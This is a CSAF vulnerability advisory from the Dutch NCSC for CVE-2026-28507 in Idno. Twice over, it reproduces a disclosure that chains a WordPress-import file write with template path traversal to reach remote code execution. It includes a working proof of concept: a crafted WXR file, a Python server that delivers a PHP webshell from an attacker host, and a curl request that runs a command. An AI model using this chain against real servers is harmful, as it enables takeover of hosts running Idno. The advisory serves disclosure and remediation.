{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-28507",
        "tracking": {
            "current_release_date": "2026-03-23T01:25:48.421895Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-28507",
            "initial_release_date": "2026-03-03T19:09:03.277709Z",
            "revision_history": [
                {
                    "date": "2026-03-03T19:09:03.277709Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-03T19:09:05.866526Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-04T18:32:43.191805Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (8).| Product Identifiers created (7).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-04T18:32:46.538766Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-06T05:25:03.991099Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-06T05:25:06.346881Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-06T05:38:39.602716Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-06T05:38:41.878742Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-06T14:52:57.682692Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-06T14:53:02.351173Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-06T16:00:50.642996Z",
                    "number": "11",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-06T16:39:10.380635Z",
                    "number": "12",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-06T18:30:28.008536Z",
                    "number": "13",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-12T14:59:52.319582Z",
                    "number": "14",
                    "summary": "EPSS updated."
                },
                {
                    "date": "2026-03-12T15:00:02.996056Z",
                    "number": "15",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-16T15:24:51.506764Z",
                    "number": "16",
                    "summary": "CVSS created.| Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-16T15:24:54.386754Z",
                    "number": "17",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T09:36:53.436618Z",
                    "number": "18",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T09:36:57.099465Z",
                    "number": "19",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "19"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<1.6.4",
                                "product": {
                                    "name": "vers:unknown/<1.6.4",
                                    "product_id": "CSAFPID-5829455",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:withknown:known:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "Known"
                    }
                ],
                "category": "vendor",
                "name": "Known"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<1.6.4",
                                "product": {
                                    "name": "vers:unknown/<1.6.4",
                                    "product_id": "CSAFPID-5765413"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "idno"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.0.0",
                                "product": {
                                    "name": "vers:unknown/1.0.0",
                                    "product_id": "CSAFPID-4940335",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/idno/known@1.0.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.0.0-rc.1",
                                "product": {
                                    "name": "vers:unknown/1.0.0-rc.1",
                                    "product_id": "CSAFPID-4940336",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/idno/known@1.0.0-rc.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.0.0-rc.3",
                                "product": {
                                    "name": "vers:unknown/1.0.0-rc.3",
                                    "product_id": "CSAFPID-4940337",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/idno/known@1.0.0-rc.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.2.2",
                                "product": {
                                    "name": "vers:unknown/1.2.2",
                                    "product_id": "CSAFPID-4940338",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/idno/known@1.2.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.5",
                                "product": {
                                    "name": "vers:unknown/1.5",
                                    "product_id": "CSAFPID-5609555",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/idno/known@1.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.6.2",
                                "product": {
                                    "name": "vers:unknown/1.6.2",
                                    "product_id": "CSAFPID-5609556",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/idno/known@1.6.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/1.6.3",
                                "product": {
                                    "name": "vers:unknown/1.6.3",
                                    "product_id": "CSAFPID-5759022",
                                    "product_identification_helper": {
                                        "purl": "pkg:composer/idno/known@1.6.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<1.6.4",
                                "product": {
                                    "name": "vers:unknown/>=0|<1.6.4",
                                    "product_id": "CSAFPID-5759023"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "known"
                    }
                ],
                "category": "vendor",
                "name": "idno"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-28507",
            "cwe": {
                "id": "CWE-78",
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "**Affected Versions:** Tested on current `dev` branch (build fingerprint `505[...]7bd86`)  \n**CVSS v4 Score:** 8.6 ([CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N))\n**Privileges Required:** Web application admin account (for file write), any authenticated user (for RCE trigger)\n\n---\n\n## Summary\n\nTwo separate vulnerabilities in Idno can be chained to achieve RCE from a web application admin account. A web application admin can cause the server to fetch an attacker-controlled URL during WordPress import processing, writing a PHP file to the server's temp directory. The admin or a separate, lower-privileged authenticated user can then trigger inclusion of that file via an unsanitized template name parameter, executing arbitrary operating system commands as the web server user.\n\n---\n\n## Vulnerability 1: Arbitrary PHP File Write via WordPress Import (SSRF + File Write)\n\n### Location\n\n`Idno/Core/Migration.php` — `importImagesFromBodyHTML()`\n\n### Required Privilege\n\nWeb application admin (any user with the `admin` flag set in the database, accessible via the Idno admin UI).\n\n### Description\n\nWhen a web application admin imports a WordPress eXtended RSS (WXR) XML file via `POST /admin/import/`, the application processes `<img>` tags in post body content and attempts to re-host images locally. The function`importImagesFromBodyHTML()` fetches each image URL using `fopen()` and writes the response body to a temp file whose name is derived from the URL.\n\nThe filename is constructed as:\n\n```php\n$name = md5($src);\n$newname = $dir . $name . basename($src);\n```\n\nWhere `$src` is the full image URL from the XML and `basename($src)` is the filename component of that URL. Because `basename()` is applied to the URL string rather than a sanitized path, an attacker who controls the URL can make `basename()` return any filename — including one ending in `.tpl.php`.\n\nThe URL filter is:\n\n```php\nif (substr_count($src, $src_url)) {\n```\n\nWhere `$src_url` is the hardcoded string `'wordpress.com'`. This check uses `substr_count` rather than comparing the URL's hostname, so it passes for any URL that contains the string `wordpress.com` anywhere — including in a path component such as `http://attacker.com/wordpress.com/shell.tpl.php`.\n\nThe file write itself is:\n\n```php\nif (@file_put_contents($newname, fopen($src, 'r'))) {\n```\n\n`fopen($src, 'r')` opens the attacker URL as a stream. `file_put_contents` reads from the stream in chunks and writes to disk. Because the attacker controls the HTTP server, they can hold the TCP connection open after sending the PHP payload — causing `file_put_contents` to block while the file sits on disk with its full content. The file is only deleted after `file_put_contents` returns:\n\n```php\nif ($file = File::createFromFile($newname, basename($src), $mime, true)) {\n    $newsrc = ...;\n    @unlink($newname);  // only runs after file_put_contents returns\n}\n```\n\nBy holding the connection open, the attacker controls how long the file exists on disk, creating an exploitable window.\n\nThe import endpoint itself adds an additional timing buffer:\n\n```php\n// Idno/Pages/Admin/Import.php\nsession_write_close();\n$this->forward(...);      // HTTP response sent to browser here\nignore_user_abort(true);\nsleep(10);                // 10 second delay before import runs\nset_time_limit(0);\nMigration::importWordPressXML($xml);\n```\n\nThe browser receives a redirect response immediately, and the actual import runs in the background after 10 seconds.\n\nThe resulting file is written to PHP's temp directory (typically `/tmp` from the PHP process's perspective, which on systemd-managed Apache is a private mount at `/tmp/systemd-private-{id}-apache2.service-{id}/tmp/`). The filename is predictable: `md5($full_url) . basename($url)`.\n\n### Prerequisites\n\n- Text plugin must be enabled (the import function returns early without it) (this appears to be enabled by default)\n- `allow_url_fopen` must be enabled in PHP (required for `fopen($url, 'r')` on remote URLs — this is the PHP default)\n\n---\n\n## Vulnerability 2: Local File Inclusion via Unsanitized Template Name (LFI → RCE)\n\n### Location\n\n`Idno/Pages/Search/User.php` — `getContent()`\n`Idno/Core/Bonita/Templates.php` — `draw()`\n\n### Required Privilege\n\nAny authenticated user (`gatekeeper()` only checks `isLoggedIn()`).\n\n### Description\n\nThe user search endpoint accepts a `template` GET parameter that is passed without sanitization to the template rendering engine:\n\n```php\n// Idno/Pages/Search/User.php\n$template = $this->getInput('template', 'forms/components/usersearch/user');\n// ...\n$t = new \\Idno\\Core\\DefaultTemplate();\n$results['rendered'] .= $t->__(['user' => $user])->draw($template);\n```\n\nThe `draw()` method in `Idno/Core/Bonita/Templates.php` applies only a regex that strips strings beginning with an underscore followed by alphanumeric characters:\n\n```php\nfunction draw($templateName, $returnBlank = true)\n{\n    $templateName = preg_replace('/^_[A-Z0-9\\/]+/i', '', $templateName);\n```\n\nThis regex does not strip `../` and does not reject path separators. The sanitized name is then joined with a base path and template type directory to construct the include path:\n\n```php\n$path = $basepath . '/templates/' . $templateType . '/' . $templateName . '.tpl.php';\nif (file_exists($path)) {\n    $fn = (function ($path, $vars, $t) {\n        foreach ($vars as $k => $v) { ${$k} = $v; }\n        ob_start();\n        include $path;\n        return ob_get_clean();\n    });\n    return $fn($path, $this->vars, $this);\n}\n```\n\nBecause `$templateName` is user-controlled and contains no path traversal restrictions, an attacker can supply a value such as `../../../../../../tmp/{filename}` to include any file reachable by the PHP process that has a `.tpl.php` extension.\n\n### Template Type Behaviour\n\nThe `new DefaultTemplate()` constructor calls `detectTemplateType()`, which calls `detectDevice()` based on the `User-Agent` header. For standard desktop browsers this returns `'default'`. The `_t` query parameter, intended to override the template type, sets the type on the global site template object — not on the locally constructed `$t` instance — and therefore has no effect on the include path used here. The template type component of the path is always `'default'` for this endpoint under normal conditions.\n\nThe full resolved include path for a desktop browser with `basepath = /var/www/html/idno` is therefore:\n\n```\n/var/www/html/idno/templates/default/{template}.tpl.php\n```\n\nSupplying `template=../../../../../../tmp/{filename}` resolves to:\n\n```\n/tmp/{filename}.tpl.php\n```\n\nBecause PHP's `$_GET` superglobal is accessible from all scopes including inside `include`d files, any PHP code in the included file can directly read query string parameters from the original HTTP request without any explicit passing mechanism.\n\n---\n\n## Chained Attack Flow\n\n1. **Attacker controls a web server** serving a PHP webshell file at a URL containing `wordpress.com` in the path, with filename ending in `.tpl.php`.\n\n2. **Attacker constructs a WordPress WXR XML** with an `<img>` tag whose `src` points to this URL.\n\n3. **Admin submits the XML** to `POST /admin/import/` with `import_type=WordPress`. The application responds immediately and runs the import in the background after 10 seconds.\n\n4. **`importImagesFromBodyHTML` is called.** The URL passes the `substr_count($src, 'wordpress.com')` check. `fopen($src, 'r')` connects to the attacker's server, which sends the PHP payload and holds the connection open.\n\n5. **`file_put_contents` writes the PHP payload to disk** at `/tmp/{md5(url)}{basename(url)}` (e.g. `/tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php`) and blocks waiting for the stream to close.\n\n6. **While the connection is held open**, any authenticated user sends:\n\n   ```\n   GET /search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&cmd=id\n   ```\n\n7. **`draw()` resolves the path** to `/tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php`, finds the file exists, and `include`s it.\n\n8. **The included PHP file executes**, reads `$_GET['cmd']` from the superglobal, and passes it to `system()`. Output is captured by `ob_get_clean()` and returned in the `rendered` field of the JSON response.\n\n9. **Attacker closes the connection.** `file_put_contents` returns, `createFromFile` runs, `@unlink` removes the temp file. No persistent artifact remains.\n\n---\n\n## Proof of Concept\n\n1. Create a WXR file with the following content\n```xml\n<rss version=\"2.0\"\n    xmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n    xmlns:wp=\"http://wordpress.org/export/1.2/\">\n    <channel>\n      <item>\n        <title>Test Post</title>\n        <wp:post_type>post</wp:post_type>\n        <wp:status>publish</wp:status>\n        <content:encoded><![CDATA[<img\n  src=\"http://attacker-server-address/wordpress.com/shell.tpl.php\">]]></content:encoded>\n      </item>\n    </channel>\n</rss>\n```\n2. Run a server at `attacker-server-address` and host the file in path `wordpress.com/shell.tpl.php` such that fetching `http://attacker-server-address/wordpress.com/shell.tpl.php` sends the command execution payload. \n\n```python\nimport http.server\nimport time\n\nPAYLOAD = b'<?php system($_GET[\"cmd\"]); ?>'\n\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.end_headers()\n        self.wfile.write(PAYLOAD)\n        self.wfile.flush()\n        print(f\"[*] Payload sent. Holding connection open...\")\n        time.sleep(45)  # hold connection open for 45s\n        print(f\"[*] Connection released\")\n\n    def log_message(self, fmt, *args):\n        print(fmt % args)\n\n\nhttp.server.HTTPServer((\"0.0.0.0\", 9876), Handler).serve_forever()\n```\n\n5. Import WXR from `http://idno-address/admin/import/` using the wordpress option.\n\n6. Wait till the server receives a connection. In my server example, the connection remains open for 45 seconds which is enough time to exploit the issue.\n\n7. Compute the md5 hash of payload URL `http://attacker-server-address/wordpress.com/shell.tpl.php`. In my example this is `594ac6416712b71b978fa4659c4298c3`. This means the webshell file is `594ac6416712b71b978fa4659c4298c3shell.tpl.php` with content \n```php\n<?php system($_GET[0]); ?>\n```\n\n8. Make this request as any authenticated user\n```\ncurl -k \\\n  -b \"idno=<cookie>\" \\\n  \"http://idno-address/search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&_t=rss&cmd=id\"\n\n```\n\n9. Observe that the respone will have the command executed in the `rendered` field\n```\n{\"count\":1,\"rendered\":\"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(pihole)\\n\"}\n```\n\n\nhttps://github.com/user-attachments/assets/9f36ce0e-8f73-42ba-908d-eb91cc4879b4\n\n\n\n---\n\n## Impact\n\n- **Confidentiality:** Full read access to files accessible by the web server user\n- **Integrity:** Arbitrary command execution as the web server user\n- **Availability:** Complete compromise of the host running Idno\n\nAn attacker who obtains a web application admin account (via credential theft, weak password, or other means) can escalate to OS-level code execution. The RCE trigger itself requires only a standard authenticated session, meaning the admin account is needed only for the file write stage.\n\n---\n\n## Root Causes\n\n| Location | Issue |\n|---|---|\n| `Migration.php:importImagesFromBodyHTML` | `basename($url)` used as filename with no extension restriction |\n| `Migration.php:importImagesFromBodyHTML` | `substr_count` hostname check trivially bypassed by embedding `wordpress.com` in URL path |\n| `Migration.php:importImagesFromBodyHTML` | Outbound `fopen()` to attacker-controlled URL with no SSRF mitigation |\n| `Pages/Search/User.php` | `template` parameter passed to `draw()` without sanitization |\n| `Core/Bonita/Templates.php:draw()` | Regex strips only `^_[A-Z0-9/]+` prefix — does not restrict `../` or path separators |\n\n---\n\n## Recommended Fixes\n\n1. **Restrict allowed template name characters** in `draw()` to an allowlist such as `^[a-z0-9/_-]+$`, rejecting any name containing `..` or beginning with `/`.\n\n2. **Validate the extension of files written by `importImagesFromBodyHTML`** against an allowlist of image extensions (jpg, jpeg, png, gif, webp) before writing to disk.\n\n3. **Validate the hostname of image URLs** in `importImagesFromBodyHTML` against the source domain rather than using `substr_count`, which does not distinguish hostname from path.\n\n4. **Use `tempnam()`** for temp files in the import flow rather than constructing filenames from user-controlled URL components.",
                    "title": "github - https://github.com/advisories/GHSA-37j7-56xc-c468"
                },
                {
                    "category": "description",
                    "text": "**Affected Versions:** Tested on current `dev` branch (build fingerprint `505[...]7bd86`)  \n**CVSS v4 Score:** 8.6 ([CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N))\n**Privileges Required:** Web application admin account (for file write), any authenticated user (for RCE trigger)\n\n---\n\n## Summary\n\nTwo separate vulnerabilities in Idno can be chained to achieve RCE from a web application admin account. A web application admin can cause the server to fetch an attacker-controlled URL during WordPress import processing, writing a PHP file to the server's temp directory. The admin or a separate, lower-privileged authenticated user can then trigger inclusion of that file via an unsanitized template name parameter, executing arbitrary operating system commands as the web server user.\n\n---\n\n## Vulnerability 1: Arbitrary PHP File Write via WordPress Import (SSRF + File Write)\n\n### Location\n\n`Idno/Core/Migration.php` — `importImagesFromBodyHTML()`\n\n### Required Privilege\n\nWeb application admin (any user with the `admin` flag set in the database, accessible via the Idno admin UI).\n\n### Description\n\nWhen a web application admin imports a WordPress eXtended RSS (WXR) XML file via `POST /admin/import/`, the application processes `<img>` tags in post body content and attempts to re-host images locally. The function`importImagesFromBodyHTML()` fetches each image URL using `fopen()` and writes the response body to a temp file whose name is derived from the URL.\n\nThe filename is constructed as:\n\n```php\n$name = md5($src);\n$newname = $dir . $name . basename($src);\n```\n\nWhere `$src` is the full image URL from the XML and `basename($src)` is the filename component of that URL. Because `basename()` is applied to the URL string rather than a sanitized path, an attacker who controls the URL can make `basename()` return any filename — including one ending in `.tpl.php`.\n\nThe URL filter is:\n\n```php\nif (substr_count($src, $src_url)) {\n```\n\nWhere `$src_url` is the hardcoded string `'wordpress.com'`. This check uses `substr_count` rather than comparing the URL's hostname, so it passes for any URL that contains the string `wordpress.com` anywhere — including in a path component such as `http://attacker.com/wordpress.com/shell.tpl.php`.\n\nThe file write itself is:\n\n```php\nif (@file_put_contents($newname, fopen($src, 'r'))) {\n```\n\n`fopen($src, 'r')` opens the attacker URL as a stream. `file_put_contents` reads from the stream in chunks and writes to disk. Because the attacker controls the HTTP server, they can hold the TCP connection open after sending the PHP payload — causing `file_put_contents` to block while the file sits on disk with its full content. The file is only deleted after `file_put_contents` returns:\n\n```php\nif ($file = File::createFromFile($newname, basename($src), $mime, true)) {\n    $newsrc = ...;\n    @unlink($newname);  // only runs after file_put_contents returns\n}\n```\n\nBy holding the connection open, the attacker controls how long the file exists on disk, creating an exploitable window.\n\nThe import endpoint itself adds an additional timing buffer:\n\n```php\n// Idno/Pages/Admin/Import.php\nsession_write_close();\n$this->forward(...);      // HTTP response sent to browser here\nignore_user_abort(true);\nsleep(10);                // 10 second delay before import runs\nset_time_limit(0);\nMigration::importWordPressXML($xml);\n```\n\nThe browser receives a redirect response immediately, and the actual import runs in the background after 10 seconds.\n\nThe resulting file is written to PHP's temp directory (typically `/tmp` from the PHP process's perspective, which on systemd-managed Apache is a private mount at `/tmp/systemd-private-{id}-apache2.service-{id}/tmp/`). The filename is predictable: `md5($full_url) . basename($url)`.\n\n### Prerequisites\n\n- Text plugin must be enabled (the import function returns early without it) (this appears to be enabled by default)\n- `allow_url_fopen` must be enabled in PHP (required for `fopen($url, 'r')` on remote URLs — this is the PHP default)\n\n---\n\n## Vulnerability 2: Local File Inclusion via Unsanitized Template Name (LFI → RCE)\n\n### Location\n\n`Idno/Pages/Search/User.php` — `getContent()`\n`Idno/Core/Bonita/Templates.php` — `draw()`\n\n### Required Privilege\n\nAny authenticated user (`gatekeeper()` only checks `isLoggedIn()`).\n\n### Description\n\nThe user search endpoint accepts a `template` GET parameter that is passed without sanitization to the template rendering engine:\n\n```php\n// Idno/Pages/Search/User.php\n$template = $this->getInput('template', 'forms/components/usersearch/user');\n// ...\n$t = new \\Idno\\Core\\DefaultTemplate();\n$results['rendered'] .= $t->__(['user' => $user])->draw($template);\n```\n\nThe `draw()` method in `Idno/Core/Bonita/Templates.php` applies only a regex that strips strings beginning with an underscore followed by alphanumeric characters:\n\n```php\nfunction draw($templateName, $returnBlank = true)\n{\n    $templateName = preg_replace('/^_[A-Z0-9\\/]+/i', '', $templateName);\n```\n\nThis regex does not strip `../` and does not reject path separators. The sanitized name is then joined with a base path and template type directory to construct the include path:\n\n```php\n$path = $basepath . '/templates/' . $templateType . '/' . $templateName . '.tpl.php';\nif (file_exists($path)) {\n    $fn = (function ($path, $vars, $t) {\n        foreach ($vars as $k => $v) { ${$k} = $v; }\n        ob_start();\n        include $path;\n        return ob_get_clean();\n    });\n    return $fn($path, $this->vars, $this);\n}\n```\n\nBecause `$templateName` is user-controlled and contains no path traversal restrictions, an attacker can supply a value such as `../../../../../../tmp/{filename}` to include any file reachable by the PHP process that has a `.tpl.php` extension.\n\n### Template Type Behaviour\n\nThe `new DefaultTemplate()` constructor calls `detectTemplateType()`, which calls `detectDevice()` based on the `User-Agent` header. For standard desktop browsers this returns `'default'`. The `_t` query parameter, intended to override the template type, sets the type on the global site template object — not on the locally constructed `$t` instance — and therefore has no effect on the include path used here. The template type component of the path is always `'default'` for this endpoint under normal conditions.\n\nThe full resolved include path for a desktop browser with `basepath = /var/www/html/idno` is therefore:\n\n```\n/var/www/html/idno/templates/default/{template}.tpl.php\n```\n\nSupplying `template=../../../../../../tmp/{filename}` resolves to:\n\n```\n/tmp/{filename}.tpl.php\n```\n\nBecause PHP's `$_GET` superglobal is accessible from all scopes including inside `include`d files, any PHP code in the included file can directly read query string parameters from the original HTTP request without any explicit passing mechanism.\n\n---\n\n## Chained Attack Flow\n\n1. **Attacker controls a web server** serving a PHP webshell file at a URL containing `wordpress.com` in the path, with filename ending in `.tpl.php`.\n\n2. **Attacker constructs a WordPress WXR XML** with an `<img>` tag whose `src` points to this URL.\n\n3. **Admin submits the XML** to `POST /admin/import/` with `import_type=WordPress`. The application responds immediately and runs the import in the background after 10 seconds.\n\n4. **`importImagesFromBodyHTML` is called.** The URL passes the `substr_count($src, 'wordpress.com')` check. `fopen($src, 'r')` connects to the attacker's server, which sends the PHP payload and holds the connection open.\n\n5. **`file_put_contents` writes the PHP payload to disk** at `/tmp/{md5(url)}{basename(url)}` (e.g. `/tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php`) and blocks waiting for the stream to close.\n\n6. **While the connection is held open**, any authenticated user sends:\n\n   ```\n   GET /search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&cmd=id\n   ```\n\n7. **`draw()` resolves the path** to `/tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php`, finds the file exists, and `include`s it.\n\n8. **The included PHP file executes**, reads `$_GET['cmd']` from the superglobal, and passes it to `system()`. Output is captured by `ob_get_clean()` and returned in the `rendered` field of the JSON response.\n\n9. **Attacker closes the connection.** `file_put_contents` returns, `createFromFile` runs, `@unlink` removes the temp file. No persistent artifact remains.\n\n---\n\n## Proof of Concept\n\n1. Create a WXR file with the following content\n```xml\n<rss version=\"2.0\"\n    xmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n    xmlns:wp=\"http://wordpress.org/export/1.2/\">\n    <channel>\n      <item>\n        <title>Test Post</title>\n        <wp:post_type>post</wp:post_type>\n        <wp:status>publish</wp:status>\n        <content:encoded><![CDATA[<img\n  src=\"http://attacker-server-address/wordpress.com/shell.tpl.php\">]]></content:encoded>\n      </item>\n    </channel>\n</rss>\n```\n2. Run a server at `attacker-server-address` and host the file in path `wordpress.com/shell.tpl.php` such that fetching `http://attacker-server-address/wordpress.com/shell.tpl.php` sends the command execution payload. \n\n```python\nimport http.server\nimport time\n\nPAYLOAD = b'<?php system($_GET[\"cmd\"]); ?>'\n\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.end_headers()\n        self.wfile.write(PAYLOAD)\n        self.wfile.flush()\n        print(f\"[*] Payload sent. Holding connection open...\")\n        time.sleep(45)  # hold connection open for 45s\n        print(f\"[*] Connection released\")\n\n    def log_message(self, fmt, *args):\n        print(fmt % args)\n\n\nhttp.server.HTTPServer((\"0.0.0.0\", 9876), Handler).serve_forever()\n```\n\n5. Import WXR from `http://idno-address/admin/import/` using the wordpress option.\n\n6. Wait till the server receives a connection. In my server example, the connection remains open for 45 seconds which is enough time to exploit the issue.\n\n7. Compute the md5 hash of payload URL `http://attacker-server-address/wordpress.com/shell.tpl.php`. In my example this is `594ac6416712b71b978fa4659c4298c3`. This means the webshell file is `594ac6416712b71b978fa4659c4298c3shell.tpl.php` with content \n```php\n<?php system($_GET[0]); ?>\n```\n\n8. Make this request as any authenticated user\n```\ncurl -k \\\n  -b \"idno=<cookie>\" \\\n  \"http://idno-address/search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&_t=rss&cmd=id\"\n\n```\n\n9. Observe that the respone will have the command executed in the `rendered` field\n```\n{\"count\":1,\"rendered\":\"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(pihole)\\n\"}\n```\n\n\nhttps://github.com/user-attachments/assets/9f36ce0e-8f73-42ba-908d-eb91cc4879b4\n\n\n\n---\n\n## Impact\n\n- **Confidentiality:** Full read access to files accessible by the web server user\n- **Integrity:** Arbitrary command execution as the web server user\n- **Availability:** Complete compromise of the host running Idno\n\nAn attacker who obtains a web application admin account (via credential theft, weak password, or other means) can escalate to OS-level code execution. The RCE trigger itself requires only a standard authenticated session, meaning the admin account is needed only for the file write stage.\n\n---\n\n## Root Causes\n\n| Location | Issue |\n|---|---|\n| `Migration.php:importImagesFromBodyHTML` | `basename($url)` used as filename with no extension restriction |\n| `Migration.php:importImagesFromBodyHTML` | `substr_count` hostname check trivially bypassed by embedding `wordpress.com` in URL path |\n| `Migration.php:importImagesFromBodyHTML` | Outbound `fopen()` to attacker-controlled URL with no SSRF mitigation |\n| `Pages/Search/User.php` | `template` parameter passed to `draw()` without sanitization |\n| `Core/Bonita/Templates.php:draw()` | Regex strips only `^_[A-Z0-9/]+` prefix — does not restrict `../` or path separators |\n\n---\n\n## Recommended Fixes\n\n1. **Restrict allowed template name characters** in `draw()` to an allowlist such as `^[a-z0-9/_-]+$`, rejecting any name containing `..` or beginning with `/`.\n\n2. **Validate the extension of files written by `importImagesFromBodyHTML`** against an allowlist of image extensions (jpg, jpeg, png, gif, webp) before writing to disk.\n\n3. **Validate the hostname of image URLs** in `importImagesFromBodyHTML` against the source domain rather than using `substr_count`, which does not distinguish hostname from path.\n\n4. **Use `tempnam()`** for temp files in the import flow rather than constructing filenames from user-controlled URL components.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-37j7-56xc-c468.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Idno is a social publishing platform. Prior to version 1.6.4, there is a remote code execution vulnerability via chained import file write and template path traversal. This issue has been patched in version 1.6.4.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-28507"
                },
                {
                    "category": "description",
